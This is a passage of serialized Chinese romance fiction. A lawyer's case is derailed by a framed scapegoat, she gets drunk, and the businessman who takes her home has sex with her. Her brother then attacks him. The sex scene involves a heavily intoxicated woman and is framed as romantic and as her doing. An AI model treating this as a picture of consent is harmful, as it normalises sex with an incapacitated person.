厚重的窗帘隔绝了外界所有的光线与窥探,只留床头一盏昏黄的壁灯,勾勒出床上交叠翻滚的人影。 空气中弥漫着浓烈的麝香与汗水的气息。 大床上,秦晓林趴在傅承平汗湿的胸膛上,“死鬼……刚才差点把我折腾散架了……” 傅承平喘着粗气,大手在她光滑的背脊上胡乱摩挲,凑在她脖颈间乱拱,“还不是因为你太浪了……” “讨厌!”秦晓林轻轻锤了下他的胸口,抬起眼,媚眼如丝地看着他,“那你说,是我好,还是你家里那位好?” 傅承平的动作顿了一下,随即用力揉了她一把,“提她干什么?那就是块木头,怎么弄都不出声,僵得很,哪像你……又骚又浪……” 这话取悦了秦晓林,她得意地哼了一声,身体像藤蔓一样缠绕上去。 两人很快又纠缠在一起。 良久,风雨停歇。 傅承平累得气喘吁吁,瘫在床上不动了。 秦晓林这才心满意足地放过他,手指在他胸口画着圈,“承平,那个叫明嫣的律师……她现在咬着婉儿不放,我这心里总是不踏实。” 傅承平闭着眼,“放心,我已经安排好了,一个黄毛丫头,翻不起什么浪花。” “真的?”秦晓林稍稍安心,但还是忍不住叮嘱,“你可一定要处理好,婉儿她可不能出事……” “知道了,啰嗦。” 傅承平打断她,睁开眼,警告地看了她一眼,“倒是我要提醒你,最近给我安分点,没有我的消息,不要主动来找我。当初让你假装植物人躺在医院,就是为了安全方便。你倒好,擅作主张就‘醒’了!” 秦晓林嘟起嘴,委屈道:“我这不是为了婉儿嘛……她那边受了委屈,我哪儿还坐得住?” 傅承平冷哼一声,“反正要多加小心,不能出半点差错!” “嗯,都听你的。”秦晓林柔顺地应着,重新趴回他胸口,眼底却掠过一丝不易察觉的寒芒。 明嫣…… 都是这个碍事的小贱人! 如果不是她,婉儿怎么会惹上这么大的麻烦? 寒山又怎么会…… 看来她得好好想个办法,彻底除掉这个隐患! …… 明嫣和陆奉归熬了三个通宵,眼睛熬得跟兔子似的,总算把张伟和赵老四以及那个翻供侍应生的资金往来、通讯记录扒了个底朝天。 证据链完美得能直接送去当法学教科书案例。 警方根据他们提供的线索,雷霆出击,顺利控制了张伟和赵老四。 可还没等明嫣开心多久,负责案件的警官就打来了电话。 “明律师,情况……有点变化。” 明嫣心里咯噔一下,“怎么了?” “张伟和赵老四,还有之前那个侍应生,他们……他们口径一致,全都指认是受了一个叫马丽丽的人指使。说是马丽丽跟您有私怨,故意买通他们陷害秦婉小姐,目的是为了嫁祸,扰乱视线。” “马丽丽?”明嫣懵了,这名字她听都没听过! “我们查了,确实有这么个人,是个在夜场混的太妹,之前因为打架斗殴有过案底,张伟和赵老四咬死了就是她,连转账记录都能对上一部分,侍应生也改口说是莉莉威胁利诱他翻供的……证据链……闭环了。” 明嫣拿着电话,只觉得一股寒气从脚底直窜天灵盖。 她瞬间就明白了—— 金蝉脱壳! 弃车保帅! 秦晓林背后的人,手段太高明了! 用一个无足轻重女人,就轻飘飘地斩断了所以的线索! 秦婉被摘得干干净净,甚至成了被无辜陷害的受害者。 而她这么多天的奔波、查证、呕心沥血…… 全都成了笑话! 一股巨大的无力感和愤怒席卷了她,让她眼前阵阵发黑。 “老板……”陆奉归看着她煞白的脸色,担忧地上前一步。 明嫣摆了摆手,示意自己没事。 她闭上眼,深吸了几口气,再睁开时,眼底只剩下一片平静。 “走吧。” 陆奉归一愣,“啊?去哪儿?” “陪我喝酒。” “……” …… 江风带着水汽,轻轻拂过脸颊,已然有了初冬的凛冽。 小店是在街边,烟火气十足,热气腾腾的饭菜香味四溢,勾得人食指大动。 明嫣显然是这里的熟客,麻利地点了一大堆烤串,还要了好几瓶啤酒。 陆奉归看着她这反常的状态,心里直打鼓:“老……老板,你……你酒量……” 他话还没说完,明嫣已经灌下去大半杯啤酒。 “砰!” 一声闷响,明嫣把空酒杯重重撂在吧台上,震得旁边几碟花生米都跳了跳。 “老……老板,你慢点喝,这酒后劲大……” 陆奉归起初还劝着,后来见明嫣眼神开始发直,说话舌头也大了,这才知道自家老板的的酒量那是——浅得感人。 知道她是真的喝多了,他心里也开始发愁。 正寻思着要怎么把人弄回去的时候,明嫣口袋里的手机突然嗡嗡震动起来。 陆奉归一开始没想管,但是,见手机一直震个不停,生怕是有什么重要电话,犹豫了半晌,还是把手机掏了出来。 当看清屏幕上跳跃的名字时,他瞬间一个激灵——霍、霍寒山? 他家偶像?! 陆奉归下意识地看了一眼对面已经趴在桌子上,用手指蘸着酒水在桌面上无意识划拉的明嫣,犹豫着该不该接。 电话执着地响着,仿佛他不接就不会罢休。 陆奉归咬了咬牙,最终还是滑向了接听键。 “喂……霍律师?” 电话那头愣了一下,似是没有料到明嫣的电话里竟然会是个男声,“你是哪位?” “哦,我是陆奉归,我……” 可还没等他说完,霍寒山就嗓音低沉地问了一句,“明嫣呢?” “老板她……她有点喝多了……”陆奉归硬着头皮道。 “地址。” 陆奉归当即报出了的地址。 “看着她,我马上到。” 话音未落,电话已经被干脆利落地挂断。 陆奉归听着手机里的忙音,还没来得及松口气,手里的电话又像是催命一样再次响了起来。 这一次,屏幕上显示的是——傅修沉。 陆奉归的手一抖,差点把手机扔出去。 他看着已经醉倒的明嫣,又看了一眼响个不停的手机,犹豫再三,还是硬着头皮接了起来。 “喂……傅总?” “陆奉归?”傅修沉的声音透过听筒传来,低沉平稳,却莫名让人感到一股压力,“明律师呢?” “呃……老板她……我们在外面……” 电话那头沉默了一秒,随即,傅修沉似是听到了背景音里明嫣含混不清的嘟囔声,嗓音瞬时就沉了几分,“她喝酒了?” “啊……是,喝了点儿……”陆奉归头皮发麻。 “地址。” 同样是两个字,比霍寒山更多了几分不容置喙的威压。 陆奉归几乎是机械地重复了一遍地址。 “原地等着。”傅修沉扔下这四个字,便结束了通话。 陆奉归看着再次暗下去的手机屏幕,又看了看趴在桌上睡得毫无知觉的明嫣,彻底傻眼了。 一个……马上到。 一个……原地等着。 这……这可怎么办?! 他现在跑还来得及吗? 第57章 傅修沉,你长得真好看…… 时间一分一秒地过去。 陆奉归坐立不安,时不时伸长脖子望向路口。 突然,巷口传来汽车引擎低沉的轰鸣声,一道刺眼的车灯划破夜色,一辆黑色的宾利轿车停在了大排档门口。 车门打开,傅修沉迈步下车。 他依旧穿着剪裁合体的黑色西装,外面罩着一件同色系的长款大衣,身形挺拔,与这嘈杂油腻的环境格格不入。 他一眼就看到了趴在桌上的明嫣,以及旁边手足无措的陆奉归。 快步走过去,傅修沉的目光落在明嫣酡红的侧脸上,眉头几不可察地蹙起。 “喝了多少?”他问陆奉归,声音不高,却带着迫人的压力。 “也……也没多少,就一瓶啤酒……”陆奉归的声音越来越小。 傅修沉没再追问,他弯下腰,俯身轻轻拍了拍她的脸颊,“明嫣?” 明嫣迷迷糊糊地睁开眼,视线聚焦了好一会儿,才认出眼前的人,她傻笑了一下,伸出食指戳了戳傅修沉的脸颊,“咦?傅……傅修沉?你怎么……变成两个了?” 傅修沉抓住她作乱的手,眼神深沉地看着她,“还能走吗?” 明嫣摇了摇头,身体软绵绵地往旁边倒,“不……不行了……地球……在转……” 傅修沉不再多言,直接打横将她抱起。 明嫣惊呼一声,下意识地搂住他的脖颈,滚烫的脸颊贴在他微凉的大衣领口上,舒服地蹭了蹭。 傅修沉的身体几不可察地僵了一下,随即稳稳地抱着她,转身朝车子走去。 “傅……傅总!”陆奉归这才反应过来,连忙起身。 “不必跟着了。”傅修沉头也没回,声音冷淡,“我会送她回去。” 陆奉归僵在原地,看着傅修沉小心翼翼地将明嫣放进副驾驶,系好安全带,然后绕到驾驶座,发动引擎。 跑车发出一声低吼,迅速汇入车流,消失在迷离的夜色中。 直到车尾灯都看不见了,陆奉归才猛地回过神,后背惊出一身冷汗。 完了…… 他好像……把老板给弄丢了? 而且是被傅修沉带走的! 就在这时,又是一道刺耳的刹车声—— 车门猛地推开,霍寒山快步下车,目光急切地扫过大排档,却只看到陆奉归一个人傻站着,以及桌上狼藉的空酒瓶。 “明嫣呢?!”霍寒山的眉头几乎皱成了一团疙瘩。 陆奉归被他身上散发出的骇人戾气吓得一哆嗦,结结巴巴地道:“老……老板她……被傅总接……接走了……” “傅修沉?!”霍寒山的脸色瞬间变得铁青,拳头死死攥紧,手背上青筋暴起,“他什么时候来的?!” “就……就在刚才……您来之前……”陆奉归的声音细若蚊蚋。 霍寒山转头看向他手指的方向,胸口剧烈起伏。 他又晚了一步! 每一次都是这样! 为什么傅修沉每次总是能抢先一步?! “砰!”他猛地一拳砸在旁边的墙壁上! 一声闷响,墙壁上的灰尘簌簌落下。 陆奉归吓得缩了缩脖子,大气都不敢出。 霍寒山维持着砸墙的姿势,额头抵在冰冷粗糙的墙面上,肩膀微微颤抖。 他……还是错过了吗? …… 而此时,黑色的宾利车行驶在公路上疾驰。 车窗开了少许,夜风微凉,吹拂着明嫣散落的长发。 只不过,明嫣被安全带固定在副驾驶座上,却依旧不安分。 酒劲彻底上头,她只觉得浑身燥热,脑子里像是有一团浆糊,所有的理智和防备都被酒精冲刷得一干二净。 她歪着头,看着身旁专注开车的傅修沉。 路灯的光线透过车窗,在他轮廓分明的侧脸上投下明明灭灭的光影,鼻梁高挺,薄唇紧抿,眼尾那颗朱砂痣在昏暗光线下若隐若现,好看得让人移不开眼。 “傅修沉……”她喃喃地叫他的名字,声音软糯带着钩子。 “嗯?”傅修沉目视前方,喉结几不可察地滚动了一下。 “你长得……真好看……”明嫣吃吃地笑了一声,伸出手,指尖颤巍巍地碰了碰他的脸。 触碰的瞬间,像是有一股微弱的电流窜过。 傅修沉的手臂肌肉瞬间绷紧,方向盘差点打滑。 他猛地深吸一口气,强行压下体内翻涌的躁动,“明嫣,坐好,别乱动。” “哦……”明嫣委委屈屈地应了一声,收回了手,但没过几秒,她又开始不安分。 她解开了安全带,像只慵懒的猫咪一样,整个人都朝他这边蹭了过来,脑袋靠在他的肩膀上,温热的气息混合着酒香,尽数喷洒在他的颈侧。 “傅修沉……我头好晕……好难受……”她哼哼唧唧的,一只手还无意识地抓住了他大腿侧的西裤布料。 傅修沉浑身一僵,差点一脚踩在刹车上。 他能清晰地感受到她身体的柔软和热度,能闻到她发间淡淡的香气混合着酒意,能感觉到她喷洒在脖颈的湿热呼吸…… 所有的感官都在这一刻被无限放大,挑战着他引以为傲的自制力。 “马上就到了。”他几乎是咬着牙挤出这句话,脚下的油门不由得加重了几分。 车子终于驶入明嫣公寓的地下停车场。 傅修沉停好车,解开安全带,侧过身,试图将像八爪鱼一样缠在自己身上的明嫣稍微推开一些。 “明嫣,到家了,自己能走吗?” 明嫣迷迷瞪瞪地抬起头,眼神湿漉漉的,像蒙了一层水雾的黑色琉璃。 她似乎很不满意离开那个温暖的怀抱,双臂本能地环住他的脖颈,将脸埋在他胸口,哼哼唧唧地不肯松手。 傅修沉抱着她,走进电梯,按下楼层。 密闭的空间里,她的气息无处不在。 电梯镜面映出他紧绷的侧脸,以及怀中少女依赖的姿态。 他垂眸,看着怀里醉态可掬的明嫣,眼神复杂得像化不开的浓墨。 好不容易到了公寓门口,傅修沉从她包里摸出钥匙,打开了门。 他将她轻轻放在客厅的沙发上,想要起身去给她倒杯水。 然而,他刚有动作,明嫣却猛地收紧手臂,将他更紧地抱住。 “别走,好黑……”她喃喃着,仰起醉意迷离的小脸,眼神湿漉漉的,带着全然的依赖和一丝不易察觉的脆弱,“陪我……好不好?” 傅修沉的身体彻底僵住。 他看着她近在咫尺的绯红唇瓣,那柔软的触感,诱人的色泽,像是在无声地邀请他品尝。 理智的弦,在这一刻,绷紧到了极致。 他俯下身,双臂撑在她身体两侧,将她困在沙发和自己胸膛之间方寸之地。 两人的距离近得能感受到彼此灼热的呼吸。 他的目光如同深不见底的漩涡,紧紧锁住她迷蒙的双眼,声音低沉沙哑,带着蛊惑人心的魔力: “明嫣,知道我是谁吗?” 第58章 小明嫣,吃干抹净就想跑?(加更) “明嫣,好好看看,我是谁?” 傅修沉的嗓音低哑得不像话,像陈年的酒,醺得人耳根发软。 他撑在她上方,阴影将她完全笼罩,那双深邃的眼眸在昏暗的客厅光线下,浓稠得化不开,紧紧锁住她,不放过她脸上任何一丝细微的表情。 明嫣醉眼迷蒙地仰望着他,长长的睫毛像蝶翼般轻颤,似乎努力在辨认。 半晌,她忽然弯起眼眸,绯红的脸颊上漾开一个甜得腻人的笑,像是盛满了蜜糖。 “你是……傅修沉。” 傅修沉喉结剧烈地滚动了一下,眼底最后一丝克制彻底崩碎,翻涌起骇人的惊涛骇浪。 他不再犹豫,俯身吻住了她的唇瓣。 “唔……” 明嫣发出一声细微的呜咽,似抗议,又似迎合。 起初只是唇与唇的厮磨,带着试探的轻柔。 但很快,这点轻柔便被燎原的野火取代。 他的吻变得深入而极具侵略性,撬开她的齿关,纠缠着她无处可逃的柔软,汲取着她口中混合着酒香的清甜气息。 明嫣只觉得大脑更加昏沉,像漂浮在云端,又像沉溺在温暖的深海。 氧气变得稀薄,她本能地仰起头,承受着这个过于炽热的吻,原本环在他脖颈上的手臂软软地滑落,无力地搭在他紧实的背部。 他的大手不知何时已经从她的腰际游移而上,隔着薄薄的衣料,能清晰地感受到她肌肤的滚烫和细腻的轮廓。 指尖所过之处,仿佛点燃一簇簇细小的火苗。 空气变得粘稠而炙热,只剩下彼此急促的呼吸声和暧昧的水声交织。 傅修沉的吻渐渐不再满足于唇舌的纠缠,细密地向下,落在她纤细脆弱的脖颈,留下点点濡湿的痕迹。 明嫣敏感地瑟缩了一下,发出一声小猫似的嘤咛,身体不受控制地微微颤抖。 他的动作有一瞬间的停滞,残存的理智似乎在提醒他趁人之危并非君子所为。 然而,就在他深吸一口气,准备强行抽身离开这令人失控的甜美漩涡时—— 身下的明嫣却仿佛感知到了热源的远离,不满地蹙起了秀气的眉头。 她忽然一个用力,凭借着酒醉后不知从何而来的蛮力,猛地翻身,竟将措手不及的傅修沉反压在了柔软的沙发里! “不准走……”她嘟囔着,骑坐在他腰腹间,居高临下地看着他,醉意朦胧的眼睛里带着一股执拗的娇憨,像个霸占心爱玩具的孩子。 傅修沉完全没料到她会如此,一时怔住。 而明嫣已经俯下身,学着他刚才的样子,笨拙而又毫无章法地吻上他的唇,他的下颌,最后停留在他凸起的喉结上,好奇地轻轻啃咬了一下。 “嘶——” 傅修沉倒吸一口冷气,浑身肌肉瞬间绷紧如铁,理智的弦在这一刻,彻底崩断! 他眸色暗沉如夜,一个天旋地转,重新夺回主导权,将不安分的小女人牢牢禁锢在身下。 这一次,他的吻带着惩罚般的狠戾,却又在触及她微微颤抖的眼睫时,化作无奈的温柔。 衣衫不知何时凌乱散落,客厅的灯光不知被谁按灭。 只有窗外稀疏的月光和远处城市的霓虹,透过窗帘缝隙,勾勒出沙发上交叠起伏的模糊剪影…… …… 翌日清晨。 明嫣是在一阵剧烈的头痛中醒来的。 眼皮沉重得像是灌了铅,她呻吟一声,艰难地睁开眼,映入眼帘的再熟悉不过的环境,空气里弥漫着一股清冽好闻的木质香气,夹杂着一丝……暧昧旖旎后的特殊气息。 她猛地意识到什么,僵硬地转动脖颈。 身旁,沉睡的男人侧颜映入眼帘。 傅修沉! 他闭着眼,呼吸均匀,冷白的皮肤在晨光中近乎透明,长而密的睫毛在眼下投下淡淡的阴影,褪去了平日里的冷冽锋芒,显得安静无害。 然而,那裸露在薄被外的宽阔肩背上,几道清晰的红痕,却昭示着昨夜的疯狂并非梦境。 明嫣的大脑“嗡”的一声,瞬间一片空白。 昨晚零碎的记忆如同潮水般涌入脑海—— 大排档的啤酒…… 车上的亲昵…… 沙发上纠缠的身体…… 她主动攀附…… 以及反客为主的强压…… 天旋地转! 她……她竟然和傅修沉…… 而且还是她主动的?! 她一把捂住嘴,才没有惊叫出声。 怎么办? 现在该怎么办?! 她几乎是手脚并用地,小心翼翼地掀开被子,赤脚踩在冰凉的地板上。 她的衣服散落一地,皱巴巴的,显然已经不能穿了。 她手忙脚乱地捡起自己的衣物,飞快地套上,踮着脚尖,屏住呼吸,一步步朝着卧室门口挪去,只想尽快逃离这个让她无比尴尬和混乱的“案发现场”。 可就在这时—— 一只骨节分明的大手突然从身后伸来,精准地攥住了她纤细的脚踝! “啊!”明嫣惊呼一声,整个人被一股不容抗拒的力量猛地向后一拉! 天旋地转间,她重新跌回柔软得如同云朵的床榻,深陷其中。 还不等她反应过来,一道沉重温热的身躯已经覆了上来,将她牢牢困在方寸之间。 傅修沉不知何时已经醒了。 他单手撑在她耳侧,另一只手仍握着她的脚踝,带着薄茧的指腹在她细腻的皮肤上无意识地摩挲着,带来一阵细微的战栗。 男人刚醒,嗓音带着慵懒的沙哑,贴着她敏感的耳畔响起,温热的气息尽数喷洒: “小明嫣,吃干抹净就想跑?” 明嫣的心脏狂跳,几乎要冲破胸腔,脸颊红得快要滴出血来,根本不敢看他。 傅修沉却不肯放过她,他微微支起身,空着的那只手慢条斯理地指了指自己冷白脖颈侧方那抹新鲜而暧昧的咬痕,眼神幽暗,嗓音低哑得一塌糊涂: “你把我亲成这样,不打算负责了?” “我……我没有!”明嫣下意识地反驳,声音却细弱蚊蚋,毫无底气。 那些模糊的记忆碎片告诉她,昨晚……她好像确实……很过分。 怎么办? 她……竟然把傅修沉给……强睡了?! 第59章 你想带回来给妈妈看的人是他? 江南的深秋难得放晴,阳光透过薄云洒下来,带着几分暖意。 京都飞往江南的早班机上,明母苏婉晴看着窗外逐渐清晰的江南水乡轮廓,脸上满是期待。 她膝上放着一个精致的保温袋,里面是她让保姆起早现做的蟹黄汤包,还冒着丝丝热气。 飞机刚落地,她就迫不及待地开了手机打给了明燃。 “喂,妈?”明燃那边似乎正在开会,嗓音低沉。 “阿燃,我到江南了!你把嫣儿现在的住址发我一下,我这就过去看看她。”苏婉晴语气轻快,带着点准备给女儿惊喜的小雀跃。 电话那头的明燃沉默了两秒,语气有些无奈,“妈,您怎么突然跑过去了?也不提前说一声。” “说什么说?说了那丫头肯定又找借口不让我来!我就偷偷看看她,给她送点吃的,保证不打扰她工作!” 苏婉晴说着,压低了声音,“我带了蟹黄包,她小时候一口气能吃好几个呢!” 明燃揉了揉眉心,知道自己拗不过母亲,只好妥协,“地址我微信发您,您注意安全,到了跟我说一声……” “知道啦知道啦!你忙你的吧,我打车过去。” 苏婉晴乐呵呵地挂了电话,收到地址后,便提着保温袋,拦了辆出租车,直奔明嫣的公寓。 …… 而此时,明嫣的公寓内,气氛却与窗外的明媚截然相反,堪称冰火两重天。 明嫣看着傅修沉冷白脖颈上那几处新鲜又暧昧的咬痕和红印。 昨晚那些羞耻的记忆片段,疯狂地涌入她的脑海—— ——傅修沉……你长得……真好看…… ——不准走…… 她翻身将他压在身下,笨拙地亲吻他的喉结…… 黑暗中交织的呼吸,滚烫的肌肤相贴…… 每一个画面都像是一记重锤,砸得她头晕目眩,脸颊烫得能煎鸡蛋。 傅修沉看着她爆红的脸,眼底掠过一丝极淡的笑意。 他慢条斯理地用手指轻轻拉开了一点自己的衬衫领口,露出锁骨处清晰的痕迹,唇角勾着一抹似笑非笑的弧度。 “明律师,”他嗓音低沉,带着刚睡醒的沙哑和一种难以言喻的磁性,“就算知道你对我有贼心,但是,也不能专逮着我脖子祸害……明天还有个重要签约仪式,你让我怎么见人?” “我……我没有!” 明嫣像是被踩了尾巴的猫,猛地从床上弹起来,踉跄着跳下地,语无伦次地解释,试图撇清关系:“我……我昨天晚上喝醉了!断片了!什么都不记得了!” 她深吸一口气,强迫自己冷静下来,尽管声音还在发颤:“傅总,大家都是成年人了,这种事……你情我愿……” “不是,是意外……纯属意外!我们就当……就当一切都没发生过!”她越说声音越小,最后几乎变成了喃喃自语,根本不敢看傅修沉的眼睛。 “这么渣吗?”傅修沉轻笑一声,那笑声像是带着小钩子,挠得人心尖发痒。 他好整以暇地靠在床头,晨光勾勒着他精壮的胸膛和利落的腰腹线条,明明姿态慵懒,却散发着极强的侵略性,“明律师,你这提起裤子……哦不,你连裤子都没提,就不认账的作风,倒是比我们生意人还利落。” 明嫣的脸红得几乎要滴血,又羞又恼,偏偏无法反驳。 她只想赶紧把这个男人送走,然后自己找个地缝钻进去,永远不要出来! “你……你赶紧穿衣服走人!”她指着卧室门,“昨天晚上的事,不许再提了!听到没有!” 她快步走到门口,然后门刚打开,就赫然看见苏婉晴站在门外! “……” 明嫣的大脑一片空白,耳边嗡嗡作响,感觉一道晴天霹雳直直劈在了天灵盖上! 苏婉晴上下打量了一眼明嫣,不由得微微蹙了蹙眉,“你这孩子,怎么慌慌张张的?这幅模样是要去哪儿?” 说着,她自然而然地就要往里走。 明嫣心里咯噔一下,下意识地用身体挡在门口,干笑着,“那个……妈,我正打算下楼买早餐呢!您……您要一起吗?” 她说着,就想去拉母亲的胳膊,想把她先支开。 苏婉晴却站着没动,目光越过女儿的肩膀,若有所思地扫了一眼略显凌乱的客厅,最后,视线精准地定格在沙发上的黑色西装…… 苏婉晴的眼神瞬间变得微妙起来,笑着逗她:“嫣儿,你跟妈妈说实话……你这屋里,是不是藏了人?” “!!!” 明嫣顺着母亲的视线看去,当看到那件黑色西装时,只觉得眼前一黑,差点当场晕厥。 “没有!”她急得舌头都快打结了,“那件西装……是干洗店送错了!” 她一边语无伦次地解释,一边试图再次把母亲往门外带,“妈,我们快下去买早餐吧……” 然而,就在她话音刚落,手臂刚刚挽住苏婉晴的瞬间—— “咔嗒。” 一声轻响,在寂静的客厅里显得格外清晰。 明嫣全身的血液仿佛在这一瞬间凝固了,她下意识地回眸—— 只见卧室的门开了。 三人在猝不及防的时刻,四目相对。 场面霎时一片死寂。 时间,仿佛在这一刻彻底静止了。 空气凝滞,落针可闻。 明嫣只觉得一股热血直冲头顶,耳边嗡嗡作响,大脑一片空白,只剩下一个念头——让她死吧!就现在! 她低垂着脑袋,恨不得把自己缩成一团,只露出两只红彤彤的耳尖,上面仿佛刻着几个——喝酒误事! 还是傅修沉率先反应过来,片刻的怔愣瞬间隐匿下去,他微微勾了勾唇,“伯母好。” 他的声音低沉,瞬间将房间里那诡异尴尬的气氛冲淡了几分。 苏婉晴也从最初的震惊中回过神来。 她打量了一眼傅修沉,目光在他脖颈那抹暧昧的红痕上停留了一瞬,眼底闪过一丝了然,随即脸上露出了一个意味深长的笑容。 “修沉?” 随即,苏婉晴目光转向明嫣,扬唇笑了,“所以……你想带回给妈妈看的人就是他?” 第60章 我那位好妹夫是谁? 京都国际机场,人流熙攘。 VIP通道出口,明庭峰和明燃并肩站着,父子二人俱是身姿挺拔,气质不凡,引得路人频频侧目。 明庭峰一身深色中山装,不怒自威,目光沉稳地落在出口方向。 明燃则穿着剪裁利落的黑色大衣,身姿挺拔,只是眉眼间凝着一丝不易察觉的冷躁,指尖无意识地摩挲着车钥匙。 “老公!阿燃!” 苏婉晴推着行李箱走出来,脸上带着难以抑制的兴奋笑容,远远地就朝他们挥手。 明庭峰上前接过妻子的行李,“你说你,一声招呼不打突然就跑江南去了……” 苏婉晴迫不及待地挽住丈夫的胳膊,又看了眼儿子,眼底闪着光,压低声音,语气却雀跃无比:“我跟你们说,这一趟江南可没白去……” 明庭峰看着妻子难得如此开心的模样,冷硬的眉眼也柔和了几分,顺着她的话问道:“哦?见到嫣儿了?她怎么样?” “何止是见到了!”苏婉晴压低了声音,却压不住语气里的激动和神秘,“我看啊,咱们家真是好事将近了!” 明庭峰挑了挑眉,带着几分了然的笑意看向妻子,“哦?又是你看中了哪家的青年才俊了?” 他对自己夫人热衷于给女儿物色对象的行为早已习以为常。 明燃更是没什么反应,只当母亲又是一时兴起。 他扯了扯嘴角,语气带着点漫不经心的敷衍,“妈,您就别瞎操心了,嫣儿才刚安定下来,感情的事急不得。” “这次不一样!”苏婉晴的声音都不自觉抬高了些,“是嫣儿自己找的!我看那样子,两人怕是正热乎着呢!” “嗯?”明庭峰这才来了点兴趣,一边示意司机去开车,一边笑着问,“怎么回事?你见着人了?” 苏婉晴用力点头,脸上是压不住的笑意,“我本来就想偷偷去看看她,给她个惊喜,送点蟹黄包。谁曾想啊,一大早就把他们堵在房间门口……” 这话一出,明庭峰和明燃不由得对视一眼。 成年男女。 共处一室。 清晨从同一个房间出来…… 这意味着什么,不言而喻! 明庭峰脸上的笑容也微微凝滞,眉头几不可察地蹙起,显然也意识到了什么,但他毕竟沉得住气,只是看向妻子,等待下文。 苏婉晴还沉浸在她家宝贝终于走出情伤开启新恋情的喜悦中,没注意到父子俩的脸色,继续笑着说道:“我看修沉那孩子就挺不错的,模样气度都没得挑,对嫣儿肯定也上心……” 她话还没说完,明燃突然开口打断,声音低沉沙哑,却又透出一种令人心悸的冷冽,“妈,我刚才说那位‘好妹夫’……是谁?” 他问得漫不经心,仿佛只是随口一提,听不出什么情绪。 苏婉晴笑着拍了他一下,“你这孩子,刚才没听我说吗?是修沉,傅家的——傅修沉!” ‘傅修沉’三个字如同三道惊雷,接连劈在明燃的头顶! 四周的空气仿佛在这一刻彻底静止了。 明燃脸上的肌肉几不可察地抽搐了一下,随即,他竟然低低地笑了一声,只是那笑声嘶哑,带着一种让人毛骨悚然的寒意。 “好……很好。”他连说了两个好字,眼底却没有任何笑意,只有一片翻涌的骇人戾气。 下一秒,他猛地转身,大步流星地朝着机场检票口的方向冲去,步伐又快又急。 “阿燃!”苏婉晴被他这突如其来的反应吓了一跳,下意识地喊道,“你干什么去?” “你们先回去,我去一趟江南!” …… 江南,跃华生物大厦顶层总裁办公室。 傅修沉刚结束一个越洋视频会议,揉了揉有些发胀的太阳穴,正准备让秘书送杯咖啡进来。 “砰——!!” 一声巨响。 办公室厚重的实木门被人从外面一脚狠狠踹开! 门板撞在墙上,发出震耳欲聋的回响。 只见一道携着满身戾气的黑影如旋风般卷入,速度快得惊人。 还没等他看清来人,衣领就被人猛地揪住,一股巨大的力道将他直接从真皮座椅上拽了起来,一记裹挟着劲风的拳头,狠狠砸在了他的左脸上! “嘭——!” 拳头撞击血肉骨骼发出的沉闷声响,在寂静的办公室里显得格外刺耳。 傅修沉猝不及防,腮帮子传来剧痛,口腔里瞬间弥漫开一股铁锈般的血腥味。 他偏过头,抬手抹去嘴角渗出的血丝,灯光清晰地映进来人那双翻涌着骇人戾气的眼眸—— 是明燃。 傅修沉的脸色瞬间沉了下去,眸底寒光凛冽,“明总大驾光临,就是来我这发疯的?” “发疯?”明燃嗤笑一声,声音像是从齿缝里挤出来的,“傅修沉,你他妈可真是够贱!连我妹妹都敢惦记是吧?!” 他说着,另一记拳头又狠又准地朝着他的腹部捣去! 傅修沉这次有了防备,侧身闪避,但拳风还是擦过了他的腰侧,带来一阵火辣辣的疼。 明燃眼底的血色疯狂翻滚,那股子凌厉的杀意沿着他的四肢百骸爆燃而起,几乎要将他最后的理智焚烧殆尽。 他再次揪紧傅修沉的衣领,另一只手握拳,完全是拳拳到肉的狠戾架势,朝着傅修沉的面门再次挥去! 然而,这一次,傅修沉没有再被动挨打。 他猛地抬臂,精准地格挡住了明燃砸下来的拳头,小臂与拳头碰撞,发出令人牙酸的闷响。 两个身高腿长的男人,此刻都抛弃了所谓的格斗技巧和风度,像两头被激怒的雄狮,用最原始、最野蛮的方式扭打在一起。 拳头不断落在对方身上、脸上,发出沉闷的撞击声。 办公室内文件散落,椅子被撞翻,一片狼藉。 “傅总!怎么了这是?!” 外面的秘书和几名保安听到动静,吓得魂飞魄散,慌忙冲到了办公室门口,看到里面的的场景,更是惊得面无血色。 两个男人终于停了手,但胸膛依旧剧烈地起伏着,死死盯着对方,眼神凶狠得像要将对方生吞活剥。 傅修沉喘着粗气,抬手示意,“出去!” 保安们面面相觑,犹豫地看向明显处于暴怒状态的明燃。 “滚出去!”傅修沉加重了语气,眼神冷厉。 保安们不敢再停留,战战兢兢地退了出去,并小心翼翼地替他们带上了门。 办公室里重新只剩下他们两人。 明燃的嘴角破裂,渗着血丝,颧骨处一片青紫,他的狼狈并不比傅修沉少半分。 他大手粗暴地扯开早已凌乱的衬衫领口,崩掉的扣子弹落在地,发出细微的声响。 “在这之前的种种我他妈管不着,也懒得管。”他死死盯着傅修沉,一字一句,如同宣誓,“但从现在起——” 他向前一步,几乎与傅修沉鼻尖相抵,声音压得极低,却带着斩钉截铁的决绝: “我警告你,傅修沉,离她远点。” 第61章 我那可是第一次……(加更) 傅修沉抬手,用指腹擦去唇角的血迹,那双深不见底的眸子对上明燃暴怒的视线。 他慢条斯理地摘下腕间那枚在打斗中表盘已然碎裂的机械表,随手扔在狼藉的办公桌上,动作间带着一种与此刻激烈氛围格格不入的平静。 而这平静,在明燃看来,无疑是最大的挑衅。 “我若是说不呢?”傅修沉抬起眼眸,目光沉静却带着一种无形的压迫感,“这件事,你说了不算。” “是吗?”明燃怒极反笑,“那我今天就把话撂这儿!只要我明燃在一天,你傅修沉,就永远别想踏进我明家的门!” 说完,他像是再多看傅修沉一眼都觉得肮脏碍眼,猛地转身,一脚踹开旁边挡路的倾倒的椅子,大步离开了办公室。 “砰——!” 房门被他用力甩上,发出震耳欲聋的巨响,整面墙仿佛都随之震动。 办公室里,终于彻底安静下来。 只剩下满室狼藉。 傅修沉站在原地,微微喘息着,他抬手,轻轻碰了碰红肿刺痛的颧骨,又松了松被扯得变形的衬衫领口,一颗扣子随之滚落。 他脸上那副刻意维持的平静面具,在明燃离开后,终于缓缓碎裂,露出一丝凝重。 明燃这人,虽与他从小斗到大,彼此看不对眼,但到了他们这个位置,早就习惯了戴着虚情假意的面具周旋,维持着表面那点可怜的和平。 像今天这样,不惜从魔都直接飞过来,当面动手,撂下如此决绝狠话的失控…… 是头一回。 太反常了。 傅修沉无意识地拧紧了眉头,走到落地窗前,俯瞰着楼下如同蝼蚁般穿梭的车流。 仅仅是因为看不惯他? 还是因为……别的什么更深层的原因? 傅修沉无意识地拧紧了眉头,深邃的眸底掠过一丝疑虑。 他总觉得,明燃这超乎寻常的背后,似乎隐藏着什么他不知道的秘密…… …… 而此时的明嫣送走苏婉晴后就直接回了律所。 